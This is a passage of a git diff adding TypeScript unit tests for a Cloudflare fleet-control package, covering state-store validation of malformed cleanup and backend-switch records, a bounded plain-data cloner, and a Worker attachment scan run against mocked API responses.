+          backendSwitchIntent: {
+            ...switchIntent,
+            decommissionSnapshotSha256: 'f'.repeat(64),
+          },
+        }),
+      ),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+    const routeMutant = (
+      mutation: 'outer-only' | 'snapshot-only' | 'outer-and-shell',
+    ): FleetRecord => {
+      const snapshot = switchIntent.decommissionSnapshot;
+      const shell = record.decommissionIntent;
+      if (
+        !snapshot ||
+        !shell ||
+        shell.state === 'complete' ||
+        shell.identity.mode.kind !== 'backend-switch'
+      ) {
+        throw new Error('backend-switch route fixture is incomplete');
+      }
+      if (mutation === 'outer-only') {
+        return { ...record, routeHostname: 'foreign.example.test' };
+      }
+      const changedSnapshot = {
+        ...snapshot,
+        routeHostname: 'foreign.example.test',
+      };
+      const changedSnapshotSha256 =
+        backendSwitchDecommissionSnapshotDigest(changedSnapshot);
+      return {
+        ...record,
+        ...(mutation === 'outer-and-shell'
+          ? { routeHostname: 'foreign.example.test' }
+          : {}),
+        backendSwitchIntent: {
+          ...switchIntent,
+          decommissionSnapshot: changedSnapshot,
+          decommissionSnapshotSha256: changedSnapshotSha256,
+        },
+        decommissionIntent: {
+          ...shell,
+          identity: {
+            ...shell.identity,
+            record: {
+              ...shell.identity.record,
+              ...(mutation === 'outer-and-shell'
+                ? { routeHostname: 'foreign.example.test' }
+                : {}),
+            },
+            mode: {
+              ...shell.identity.mode,
+              decommissionSnapshotSha256: changedSnapshotSha256,
+            },
+          },
+        },
+      };
+    };
+    for (const mutation of [
+      'outer-only',
+      'snapshot-only',
+      'outer-and-shell',
+    ] as const) {
+      await expect(
+        store.withDeploymentLease(
+          record.tenantTag,
+          record.environment,
+          (lease) => lease.put(routeMutant(mutation)),
+        ),
+        `${mutation} write`,
+      ).rejects.toThrow('backend switch decommission record is malformed');
+      expect(batch.mock.calls.length, mutation).toBe(batchCalls);
+      expect(db.row, mutation).toBe(committedRow);
+    }
+    expect(db.row).toBe(committedRow);
+    expect([...db.claims.entries()]).toEqual(committedClaims);
+
+    db.row = {
+      ...db.row,
+      updated_at: '2026-08-11T00:00:01.000Z',
+    };
+    await expect(
+      store.get(record.tenantTag, record.environment),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+    db.row = committedRow;
+
+    for (const mutation of [
+      'outer-only',
+      'snapshot-only',
+      'outer-and-shell',
+    ] as const) {
+      const mutant = routeMutant(mutation);
+      db.row = {
+        ...committedRow,
+        route_hostname: mutant.routeHostname,
+        backend_switch_intent: JSON.stringify(mutant.backendSwitchIntent),
+        decommission_intent: JSON.stringify(mutant.decommissionIntent),
+      };
+      await expect(
+        store.get(record.tenantTag, record.environment),
+        `${mutation} read`,
+      ).rejects.toThrow('backend switch decommission record is malformed');
+    }
+    db.row = committedRow;
+
+    db.row = {
+      ...committedRow,
+      backend_switch_intent: null,
+      migration_intent: null,
+    };
+    await expect(
+      store.get(record.tenantTag, record.environment),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+    db.row = committedRow;
+
+    db.row = {
+      ...db.row,
+      migration_intent: db.row?.backend_switch_intent,
+      backend_switch_intent: null,
+    };
+    await expect(
+      store.get(record.tenantTag, record.environment),
+    ).resolves.toEqual(record);
+  });
+});
+
+const CLEANUP_OPERATION_ID = '4c5d6e7f-1234-4abc-8def-1234567890ab';
+
+function cleanupIntentFixture(
+  record: FleetRecord,
+): import('../src/types.js').CleanupAdvanceIntent {
+  return {
+    version: 1,
+    operationId: CLEANUP_OPERATION_ID,
+    revision: 0,
+    generation: 0,
+    updatedAt: '2026-08-11T00:00:00.000Z',
+    authority: { kind: 'manual-cleanup' },
+    identity: {
+      record: {
+        tenantTag: record.tenantTag,
+        environment: record.environment,
+        backend: record.backend,
+        scriptName: record.scriptName,
+        databaseId: record.databaseId,
+        databaseName: record.databaseName,
+        routeHostname: record.routeHostname,
+      },
+      admittedPhase: 'worker-deployed',
+      externalArtifact: false,
+    },
+    state: { step: 'teardown-traffic' },
+  };
+}
+
+function cleanupAdvancingRecord(): FleetRecord {
+  const base = {
+    ...reservedRecord('plain-worker'),
+    artifactVersion: 'artifact-v1',
+    phase: 'cleanup-advancing' as const,
+    applicationResources: [],
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+  };
+  return { ...base, cleanupIntent: cleanupIntentFixture(base) };
+}
+
+describe('D1FleetStateStore cleanup state', () => {
+  it('round-trips an active cleanup intent and invocation authority carrier', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const record: FleetRecord = {
+      ...cleanupAdvancingRecord(),
+      invocationAuthority: { version: 1, authorizedAt: null },
+    };
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put(record),
+    );
+    await expect(store.get('acme', 'production')).resolves.toEqual(record);
+  });
+
+  it('round-trips null and timestamp carriers on a provisioning record', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const base = {
+      ...reservedRecord('plain-worker'),
+      applicationResources: [],
+      applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+    };
+    for (const authorizedAt of [null, '2026-08-11T00:00:01.000Z']) {
+      const record: FleetRecord = {
+        ...base,
+        invocationAuthority: { version: 1, authorizedAt },
+      };
+      await store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put(record),
+      );
+      await expect(store.get('acme', 'production')).resolves.toEqual(record);
+    }
+  });
+
+  it('refuses malformed stored cleanup intent columns', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put(cleanupAdvancingRecord()),
+    );
+    const persisted = db.row;
+    for (const malformed of [
+      '{not json',
+      '{"version":2}',
+      JSON.stringify({ version: 1 }),
+      'x'.repeat(98_305),
+    ]) {
+      db.row = { ...persisted, cleanup_intent: malformed };
+      await expect(store.get('acme', 'production')).rejects.toThrow(
+        'fleet state row has invalid cleanup_intent',
+      );
+    }
+    db.row = persisted;
+  });
+
+  it('refuses malformed stored invocation authority carriers', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put({
+        ...reservedRecord('plain-worker'),
+        invocationAuthority: { version: 1, authorizedAt: null },
+      }),
+    );
+    const persisted = db.row;
+    for (const malformed of [
+      '{not json',
+      JSON.stringify({ version: 2, authorizedAt: null }),
+      JSON.stringify({ version: 1 }),
+      JSON.stringify({ version: 1, authorizedAt: 'not-a-timestamp' }),
+      JSON.stringify({ version: 1, authorizedAt: null, extra: true }),
+    ]) {
+      db.row = { ...persisted, invocation_authority: malformed };
+      await expect(store.get('acme', 'production')).rejects.toThrow(
+        'fleet state row has invalid invocation_authority',
+      );
+    }
+    db.row = persisted;
+  });
+
+  it('refuses a cleanup intent outside the cleanup-advancing phase', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const base = reservedRecord('plain-worker');
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({ ...base, cleanupIntent: cleanupIntentFixture(base) }),
+      ),
+    ).rejects.toThrow('fleet state row has invalid cleanup_intent');
+  });
+
+  it('refuses a cleanup-advancing record without a cleanup intent', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...reservedRecord('plain-worker'),
+          phase: 'cleanup-advancing',
+        }),
+      ),
+    ).rejects.toThrow('fleet state row has invalid cleanup_intent');
+  });
+
+  it('refuses a cleanup intent coexisting with another durable authority', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const cleanup = cleanupAdvancingRecord();
+    const decommissioned = transitioningRecord();
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...cleanup,
+          decommissionIntent: decommissioned.decommissionIntent,
+        }),
+      ),
+    ).rejects.toThrow(/cleanup intent|decommission_intent/u);
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...decommissioned,
+          cleanupIntent: cleanupIntentFixture(decommissioned),
+        }),
+      ),
+    ).rejects.toThrow(/cleanup|inconsistent/u);
+  });
+
+  it('refuses a cleanup intent coexisting with a migration intent', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const policy = canonicalDeploymentEgressPolicy({
+      policyId: 'policy-acme',
+      tenantTag: 'acme',
+      environment: 'production',
+      allowedHosts: ['api.example.com'],
+    });
+    const application = { vars: [], secrets: [], r2Buckets: [] };
+    const topology = {
+      durableObjectBindings: [],
+      serviceBindings: [],
+      queueProducerBindings: [],
+      secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+      application,
+    };
+    const release = (suffix: string, digest: string) => ({
+      physicalScriptName: `acme-production-${suffix.repeat(20)}`,
+      specDigest: digest.repeat(64),
+      artifactVersion: `etag-${suffix}`,
+      releaseSchemaVersion: 1,
+      application,
+      topology,
+    });
+    const target = {
+      maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+      stateArtifactDigest: 'e'.repeat(64),
+      stateDurableObjectHistoryDigest: '1'.repeat(64),
+      stateDurableObjectTag: 'state-v1',
+      egressArtifactDigest: 'f'.repeat(64),
+      d1SchemaVersion: 1,
+      d1SchemaHistoryDigest: '2'.repeat(64),
+      outboundPolicy: policy,
+    };
+    const base = cleanupAdvancingRecord();
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...base,
+          migrationIntent: {
+            targetSpecDigest: 'b'.repeat(64),
+            priorRelease: release('a', 'a'),
+            priorTarget: target,
+            priorOutboundPolicy: policy,
+            targetRelease: release('b', 'b'),
+            target,
+            subphase: 'planned',
+          },
+        }),
+      ),
+    ).rejects.toThrow(/cleanup intent|migration/u);
+  });
+
+  it('preserves the invocation authority carrier through backend-switch canonicalization', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const record: FleetRecord = {
+      ...backendSwitchStateRecord(),
+      invocationAuthority: { version: 1, authorizedAt: null },
+    };
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put(record),
+    );
+    await expect(store.get('acme', 'production')).resolves.toEqual(record);
+  });
+
+  it('refuses a cleanup intent riding backend-switch authority', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const record = backendSwitchStateRecord();
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...record,
+          cleanupIntent: cleanupIntentFixture(record),
+        }),
+      ),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+  });
+
+  it('refuses a cleanup intent beside a settled shell-free backend switch', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const {
+      decommissionIntent: _shell,
+      databaseExportLocation: _location,
+      databaseExportSha256: _sha256,
+      databaseExportSize: _size,
+      ...settled
+    } = backendSwitchStateRecord();
+    const base = { ...settled, phase: 'cleanup-advancing' as const };
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...base,
+          cleanupIntent: cleanupIntentFixture(base),
+        }),
+      ),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+  });
 });
diff --git a/packages/fleet-control/test/strict-plain-data.test.ts b/packages/fleet-control/test/strict-plain-data.test.ts
new file mode 100644
index 00000000..43041d6a
--- /dev/null
+++ b/packages/fleet-control/test/strict-plain-data.test.ts
@@ -0,0 +1,193 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it, vi } from 'vitest';
+import {
+  type BoundedPlainDataOptions,
+  cloneBoundedPlainData,
+} from '../src/strict-plain-data.js';
+
+function limits(error: () => Error): BoundedPlainDataOptions {
+  return {
+    maxDepth: 64,
+    maxNodes: 8_192,
+    maxScalarBytes: 65_536,
+    maxSerializedBytes: 65_536,
+    error,
+  };
+}
+
+describe('bounded plain data', () => {
+  it('normalizes the JSON data shapes accepted by attachment progress', () => {
+    const nested = Object.assign(Object.create(null), {
+      active: true,
+      values: [null, 3, 'value'],
+    });
+
+    const cloned = cloneBoundedPlainData(
+      { version: 1, nested },
+      limits(() => new Error('malformed')),
+    ) as { version: number; nested: { active: boolean; values: unknown[] } };
+
+    expect(cloned).toEqual({
+      version: 1,
+      nested: { active: true, values: [null, 3, 'value'] },
+    });
+    expect(Object.getPrototypeOf(cloned)).toBeNull();
+    expect(Object.getPrototypeOf(cloned.nested)).toBeNull();
+    expect(Object.getPrototypeOf(cloned.nested.values)).toBe(Array.prototype);
+  });
+
+  it('rejects deep, wide, accessor-backed, and cyclic data causally', () => {
+    const refusal = new Error('malformed');
+    const deepTrap = vi.fn(() => Object.prototype);
+    let deep: unknown = new Proxy({}, { getPrototypeOf: deepTrap });
+    for (let depth = 0; depth < 65; depth += 1) deep = [deep];
+    expect(() =>
+      cloneBoundedPlainData(
+        deep,
+        limits(() => refusal),
+      ),
+    ).toThrow(refusal);
+    expect(deepTrap).not.toHaveBeenCalled();
+
+    const ownKeys = vi.fn(Reflect.ownKeys);
+    let itemDescriptorReads = 0;
+    const wide = new Proxy(Array(8_192).fill(0), {
+      ownKeys,
+      getOwnPropertyDescriptor: (target, property) => {
+        if (property !== 'length') itemDescriptorReads += 1;
+        return Reflect.getOwnPropertyDescriptor(target, property);
+      },
+    });
+    expect(() =>
+      cloneBoundedPlainData(
+        wide,
+        limits(() => refusal),
+      ),
+    ).toThrow(refusal);
+    expect(ownKeys).not.toHaveBeenCalled();
+    expect(itemDescriptorReads).toBe(0);
+
+    const accessor = vi.fn(() => 'secret');
+    const accessorBacked = Object.defineProperty({}, 'value', {
+      enumerable: true,
+      get: accessor,
+    });
+    expect(() =>
+      cloneBoundedPlainData(
+        accessorBacked,
+        limits(() => refusal),
+      ),
+    ).toThrow(refusal);
+    expect(accessor).not.toHaveBeenCalled();
+
+    const cyclic: { self?: unknown } = {};
+    cyclic.self = cyclic;
+    expect(() =>
+      cloneBoundedPlainData(
+        cyclic,
+        limits(() => refusal),
+      ),
+    ).toThrow(refusal);
+  });
+
+  it('preflights raw and cumulative scalars and enforces final bytes', () => {
+    const refusal = new Error('malformed');
+    const encode = vi.spyOn(TextEncoder.prototype, 'encode');
+    try {
+      expect(() =>
+        cloneBoundedPlainData(
+          'x'.repeat(65_537),
+          limits(() => refusal),
+        ),
+      ).toThrow(refusal);
+      expect(encode).not.toHaveBeenCalled();
+
+      expect(() =>
+        cloneBoundedPlainData(
+          { ['x'.repeat(65_537)]: 0 },
+          limits(() => refusal),
+        ),
+      ).toThrow(refusal);
+      expect(encode).not.toHaveBeenCalled();
+
+      expect(() =>
+        cloneBoundedPlainData(['1234', '5678'], {
+          ...limits(() => refusal),
+          maxScalarBytes: 8,
+        }),
+      ).toThrow(refusal);
+      expect(encode).toHaveBeenCalledTimes(1);
+    } finally {
+      encode.mockRestore();
+    }
+
+    expect(() =>
+      cloneBoundedPlainData(
+        { a: 0 },
+        {
+          ...limits(() => refusal),
+          maxSerializedBytes: 6,
+        },
+      ),
+    ).toThrow(refusal);
+  });
+
+  it('throws the exact error supplied by the caller for every refusal', () => {
+    const refusal = new Error('fixed refusal');
+    const assertFixedRefusal = (operation: (error: () => Error) => unknown) => {
+      const error = vi.fn(() => refusal);
+      let captured: unknown;
+      try {
+        operation(error);
+      } catch (failure) {
+        captured = failure;
+      }
+      expect(captured).toBe(refusal);
+      expect(error).toHaveBeenCalledOnce();
+    };
+
+    assertFixedRefusal((error) =>
+      cloneBoundedPlainData(null, { ...limits(error), maxDepth: -1 }),
+    );
+    assertFixedRefusal((error) =>
+      cloneBoundedPlainData(Symbol('not-json'), limits(error)),
+    );
+    assertFixedRefusal((error) =>
+      cloneBoundedPlainData(
+        { a: 0 },
+        { ...limits(error), maxSerializedBytes: 6 },
+      ),
+    );
+    assertFixedRefusal((error) =>
+      cloneBoundedPlainData(
+        new Proxy(
+          {},
+          {
+            getPrototypeOf: () => {
+              throw new Error('hostile trap');
+            },
+          },
+        ),
+        limits(error),
+      ),
+    );
+
+    const encode = vi
+      .spyOn(TextEncoder.prototype, 'encode')
+      .mockImplementation(() => {
+        throw new Error('hostile encoder');
+      });
+    try {
+      assertFixedRefusal((error) =>
+        cloneBoundedPlainData('value', limits(error)),
+      );
+    } finally {
+      encode.mockRestore();
+    }
+
+    const successError = vi.fn(() => refusal);
+    expect(cloneBoundedPlainData(null, limits(successError))).toBeNull();
+    expect(successError).not.toHaveBeenCalled();
+  });
+});
diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts
new file mode 100644
index 00000000..0f1157d5
--- /dev/null
+++ b/packages/fleet-control/test/worker-attachment-scan.test.ts
@@ -0,0 +1,2437 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { APIError } from 'cloudflare';
+import { BaseNamespaces } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces';
+import { describe, expect, it, vi } from 'vitest';
+import {
+  advanceCloudflareWorkerAttachmentScan,
+  CloudflareProvisioningClient,
+  mapDecommissionAttachmentScanChunk,
+} from '../src/cloudflare-client.js';
+import {
+  CLOUDFLARE_SDK_MAX_ATTEMPTS,
+  CLOUDFLARE_SDK_MAX_RETRIES,
+} from '../src/cloudflare-client-config.js';
+import { isTransientProviderError } from '../src/cloudflare-provider-errors.js';
+import {
+  CloudflareAttachmentScanDriftError,
+  CloudflareAttachmentScanProgressError,
+  initialWorkerAttachmentScan,
+  parseWorkerAttachmentScanProgress,
+  type WorkerAttachment,
+  type WorkerAttachmentScanChunk,
+  type WorkerAttachmentScanInput,
+  type WorkerAttachmentScanProgress,
+  type WorkerAttachmentScanTarget,
+} from '../src/cloudflare-worker-attachment-scan.js';
+import {
+  assertWorkerAttachmentProviderRequestBudget,
+  initialWorkerAttachmentScan as initialWorkerAttachmentScanFromState,
+  parseWorkerAttachmentScanProgress as parseWorkerAttachmentScanProgressFromState,
+  type WorkerAttachment as StateWorkerAttachment,
+  type WorkerAttachmentScanChunk as StateWorkerAttachmentScanChunk,
+  type WorkerAttachmentScanInput as StateWorkerAttachmentScanInput,
+  type WorkerAttachmentScanProgress as StateWorkerAttachmentScanProgress,
+  type WorkerAttachmentScanTarget as StateWorkerAttachmentScanTarget,
+} from '../src/cloudflare-worker-attachment-scan-state.js';
+import type { DecommissionAttachmentProgress } from '../src/index.js';
+import * as fleetRoot from '../src/index.js';
+import {
+  type CloudflareFixtureHandler,
+  deferred,
+  pageArray,
+  recordingFetch,
+  single,
+  testRateCoordinator,
+} from './fixtures/cloudflare-fetch-fixture.js';
+
+interface VersionFixture {
+  readonly id: string;
+  readonly percentage?: number;
+  readonly bindings?: readonly Readonly<Record<string, unknown>>[];
+}
+
+interface OrdinaryFixture {
+  readonly id: string;
+  readonly versions?: readonly VersionFixture[];
+}
+
+interface DispatchPageFixture {
+  readonly cursor?: string;
+  readonly scripts: readonly string[];
+  readonly nextCursor?: unknown;
+}
+
+interface NamespaceFixture {
+  readonly name: string;
+  readonly pages: readonly DispatchPageFixture[];
+  readonly tags?: Readonly<Record<string, readonly string[]>>;
+  readonly bindings?: Readonly<
+    Record<string, readonly Readonly<Record<string, unknown>>[]>
+  >;
+}
+
+interface AttachmentWorld {
+  readonly ordinary: readonly OrdinaryFixture[];
+  readonly namespaces: readonly NamespaceFixture[];
+}
+
+function apiFailure(status: number): Response {
+  return Response.json(
+    {
+      success: false,
+      errors: [{ code: 10_000 + status, message: 'provider failure' }],
+      messages: [],
+      result: null,
+    },
+    { status, headers: { 'retry-after-ms': '1' } },
+  );
+}
+
+function worldHandler(
+  world: AttachmentWorld,
+  events: string[] = [],
+): CloudflareFixtureHandler {
+  return ({ url }) => {
+    const target = new URL(url);
+    const path = decodeURIComponent(target.pathname);
+    events.push(`${path}?${target.searchParams.toString()}`);
+    if (path.endsWith('/workers/scripts')) {
+      return pageArray(world.ordinary.map(({ id }) => ({ id })));
+    }
+    const ordinary = world.ordinary.find(({ id }) =>
+      path.includes(`/workers/scripts/${id}/`),
+    );
+    if (ordinary && path.endsWith('/deployments')) {
+      return single({
+        deployments:
+          ordinary.versions === undefined
+            ? []
+            : [
+                {
+                  versions: ordinary.versions.map((version) => ({
+                    version_id: version.id,
+                    percentage: version.percentage,
+                  })),
+                },
+              ],
+      });
+    }
+    if (ordinary && path.includes('/versions/')) {
+      const versionId = path.split('/versions/')[1] ?? '';
+      const version = ordinary.versions?.find(({ id }) => id === versionId);
+      return single({ resources: { bindings: version?.bindings ?? [] } });
+    }
+    if (path.endsWith('/workers/dispatch/namespaces')) {
+      return pageArray(
+        world.namespaces.map((namespace, index) => ({
+          namespace_name: namespace.name,
+          namespace_id: `namespace-${index}`,
+          script_count: namespace.pages.reduce(
+            (count, page) => count + page.scripts.length,
+            0,
+          ),
+        })),
+      );
+    }
+    const namespace = world.namespaces.find(({ name }) =>
+      path.includes(`/namespaces/${name}/scripts`),
+    );
+    if (namespace && path.endsWith('/scripts')) {
+      const cursor = target.searchParams.get('cursor') ?? undefined;
+      const page = namespace.pages.find(
+        (candidate) => candidate.cursor === cursor,
+      );
+      if (!page) throw new Error(`unexpected cursor ${String(cursor)}`);
+      return pageArray(
+        page.scripts.map((id) => ({
+          id,
+          tags: namespace.tags?.[id] ?? [`tag:${id}`],
+        })),
+        { cursor: page.nextCursor as string | undefined },
+      );
+    }
+    if (namespace && path.endsWith('/settings')) {
+      const scriptId = path.split('/scripts/')[1]?.split('/')[0] ?? '';
+      return single({ bindings: namespace.bindings?.[scriptId] ?? [] });
+    }
+    throw new Error(`unexpected request ${path}`);
+  };
+}
+
+function client(
+  fetch: typeof globalThis.fetch,
+  options: { readonly plainOnly?: boolean } = {},
+): CloudflareProvisioningClient {
+  const base = {
+    accountId: 'account',
+    apiToken: 'token',
+    rateCoordinator: testRateCoordinator(),
+    fetch,
+    requestTimeoutMs: 1_000,
+  };
+  return options.plainOnly
+    ? new CloudflareProvisioningClient({ ...base, plane: 'plain-worker' })
+    : new CloudflareProvisioningClient({
+        ...base,
+        dispatchNamespace: 'fleet',
+      });
+}
+
+async function drain(
+  subject: CloudflareProvisioningClient,
+  target: WorkerAttachmentScanTarget,
+  options: {
+    readonly budget?: number;
+    readonly stopOnFirstAttachment?: boolean;
+    readonly signal?: AbortSignal;
+  } = {},
+): Promise<{
+  readonly chunks: readonly WorkerAttachmentScanChunk[];
+  readonly attachments: readonly WorkerAttachment[];
+  readonly terminal: WorkerAttachmentScanChunk;
+}> {
+  let progress = initialWorkerAttachmentScan(target);
+  const chunks: WorkerAttachmentScanChunk[] = [];
+  const attachments: WorkerAttachment[] = [];
+  for (let attempt = 0; attempt < 1_000; attempt += 1) {
+    const chunk = await advanceCloudflareWorkerAttachmentScan(subject, {
+      target,
+      progress,
+      maxProviderRequests: options.budget ?? 9,
+      stopOnFirstAttachment: options.stopOnFirstAttachment,
+      signal: options.signal,
+    });
+    chunks.push(chunk);
+    if (chunk.status === 'attached') {
+      attachments.push(chunk.attachment);
+      return { chunks, attachments, terminal: chunk };
+    }
+    attachments.push(...chunk.attachments);
+    if (chunk.status === 'complete') {
+      return { chunks, attachments, terminal: chunk };
+    }
+    progress = parseWorkerAttachmentScanProgress(
+      JSON.parse(JSON.stringify(chunk.progress)),
+      target,
+    );
+  }
+  throw new Error('attachment scan did not terminate');
+}
+
+function hash(value: string): string {
+  return createHash('sha256').update(value).digest('hex');
+}
+
+function evidence(
+  target: WorkerAttachmentScanTarget,
+  leaves: readonly (readonly unknown[])[],
+): string {
+  let digest = hash(
+    JSON.stringify([
+      'attachment-scan-v1',
+      target.kind,
+      target.kind === 'd1' ? target.databaseId : target.bucketName,
+    ]),
+  );
+  for (const leaf of leaves) digest = hash(JSON.stringify([digest, leaf]));
+  return digest;
+}
+
+function multisetEvidence(leaves: readonly (readonly unknown[])[]): string {
+  const modulus = 1n << 256n;
+  let sum = 0n;
+  for (const leaf of leaves) {
+    sum = (sum + BigInt(`0x${hash(JSON.stringify(leaf))}`)) % modulus;
+  }
+  return sum.toString(16).padStart(64, '0');
+}
+
+const D1_TARGET = { kind: 'd1', databaseId: 'target-db' } as const;
+const R2_TARGET = { kind: 'r2', bucketName: 'target-bucket' } as const;
+const DISPATCH_PAGE_PATH = '/namespaces/fleet/scripts';
+
+function dispatchPageWorld(): AttachmentWorld {
+  return {
+    ordinary: [],
+    namespaces: [{ name: 'fleet', pages: [{ scripts: [] }] }],
+  };
+}
+
+describe('Cloudflare Worker attachment scan', () => {
+  describe.each([
+    'ordinary',
+    'dispatch',
+  ] as const)('%s binding identities', (plane) => {
+    it.each([
+      {
+        kind: 'd1',
+        target: D1_TARGET,
+        field: 'database_id',
+        identity: 'target-db',
+      },
+      {
+        kind: 'r2_bucket',
+        target: R2_TARGET,
+        field: 'bucket_name',
+        identity: 'target-bucket',
+      },
+    ])('refuses incomplete $kind selectors before reporting absence', async ({
+      kind,
+      target,
+      field,
+      identity,
+    }) => {
+      const scan = (bindings: readonly Readonly<Record<string, unknown>>[]) => {
+        const world: AttachmentWorld = {
+          ordinary:
+            plane === 'ordinary'
+              ? [
+                  {
+                    id: 'foreign',
+                    versions: [{ id: 'v1', percentage: 100, bindings }],
+                  },
+                ]
+              : [],
+          namespaces:
+            plane === 'dispatch'
+              ? [
+                  {
+                    name: 'foreign-plane',
+                    pages: [{ scripts: ['foreign'] }],
+                    bindings: { foreign: bindings },
+                  },
+                ]
+              : [],
+        };
+        return drain(client(recordingFetch(worldHandler(world)).fetch), target);
+      };
+      const binding = { type: kind, [field]: identity };
+      expect((await scan([binding])).attachments).toHaveLength(1);
+      for (const value of [
+        undefined,
+        null,
+        false,
+        0,
+        {},
+        '',
+        ' ',
+        ` ${identity}`,
+        `${identity} `,
+      ]) {
+        await expect(scan([{ ...binding, [field]: value }])).rejects.toThrow(
+          'binding inventory was malformed',
+        );
+      }
+      for (const type of [undefined, null, false, '', ' ', `${kind} `]) {
+        await expect(scan([{ ...binding, type }])).rejects.toThrow(
+          'binding inventory was malformed',
+        );
+      }
+      expect(
+        (await scan([{ ...binding, [field]: 'other-resource' }])).attachments,
+      ).toEqual([]);
+      expect(
+        (
+          await scan([
+            { type: 'plain_text', text: identity },
+            { type: 'future_binding' },
+          ])
+        ).attachments,
+      ).toEqual([]);
+      expect((await scan([])).attachments).toEqual([]);
+      if (kind === 'd1') {
+        for (const id of ['', identity]) {
+          expect((await scan([{ ...binding, id }])).attachments).toHaveLength(
+            1,
+          );
+        }
+        for (const id of [null, false, 'different-id']) {
+          await expect(scan([{ ...binding, id }])).rejects.toThrow(
+            'binding inventory was malformed',
+          );
+        }
+        await expect(scan([{ type: 'd1', id: identity }])).rejects.toThrow(
+          'binding inventory was malformed',
+        );
+      }
+    });
+  });
+
+  it('resumes a D1 scan across every ordinary version and dispatch page', async () => {
+    const events: string[] = [];
+    const world: AttachmentWorld = {
+      ordinary: [
+        {
+          id: 'ordinary-a',
+          versions: [
+            { id: 'a1', percentage: 50 },
+            {
+              id: 'a2',
+              percentage: 50,
+              bindings: [{ type: 'd1', database_id: 'target-db' }],
+            },
+            { id: 'a0', percentage: 0 },
+          ],
+        },
+        { id: 'ordinary-b', versions: [{ id: 'b1', percentage: 100 }] },
+      ],
+      namespaces: [
+        {
+          name: 'one',
+          pages: [
+            { scripts: ['dispatch-a'], nextCursor: 'next' },
+            { cursor: 'next', scripts: ['dispatch-b'] },
+          ],
+          bindings: {
+            'dispatch-b': [{ type: 'd1', database_id: 'target-db' }],
+          },
+        },
+        { name: 'two', pages: [{ scripts: ['dispatch-c'] }] },
+      ],
+    };
+    const fixture = recordingFetch(worldHandler(world, events));
+    const result = await drain(client(fixture.fetch), D1_TARGET);
+
+    expect(result.attachments).toEqual([
+      { scriptName: 'ordinary-a', plane: 'ordinary' },
+      {
+        scriptName: 'dispatch-b',
+        plane: 'dispatch',
+        dispatchNamespace: 'one',
+      },
+    ]);
+    expect(result.chunks.length).toBeGreaterThan(4);
+    expect(
+      result.chunks.every((chunk) => chunk.providerFetchAttemptsReserved <= 9),
+    ).toBe(true);
+    expect(events.filter((event) => event.includes('/versions/a0'))).toEqual(
+      [],
+    );
+    expect(events.filter((event) => event.endsWith('/settings?'))).toHaveLength(
+      3,
+    );
+    expect(
+      events
+        .filter((event) => event.endsWith('/settings?'))
+        .map((event) =>
+          event
+            .match(/namespaces\/([^/]+)\/scripts\/([^/]+)\/settings/)
+            ?.slice(1),
+        ),
+    ).toEqual([
+      ['one', 'dispatch-a'],
+      ['one', 'dispatch-b'],
+      ['two', 'dispatch-c'],
+    ]);
+  });
+
+  it('preserves target-specific attachment and malformed-inventory behavior', async () => {
+    const world: AttachmentWorld = {
+      ordinary: [
+        { id: 'empty', versions: [] },
+        {
+          id: 'percentage-free',
+          versions: [
+            {
+              id: 'v1',
+              bindings: [{ type: 'r2_bucket', bucket_name: 'target-bucket' }],
+            },
+          ],
+        },
+      ],
+      namespaces: [
+        {
+          name: 'fleet',
+          pages: [
+            {
+              scripts: ['dispatch-r2', 'dispatch-other', 'dispatch-r2'],
+            },
+          ],
+          bindings: {
+            'dispatch-r2': [
+              { type: 'r2_bucket', bucket_name: 'target-bucket' },
+            ],
+          },
+        },
+      ],
+    };
+    const fixture = recordingFetch(worldHandler(world));
+    const result = await drain(client(fixture.fetch), R2_TARGET);
+    expect(result.attachments).toEqual([
+      { scriptName: 'percentage-free', plane: 'ordinary' },
+      {
+        scriptName: 'dispatch-r2',
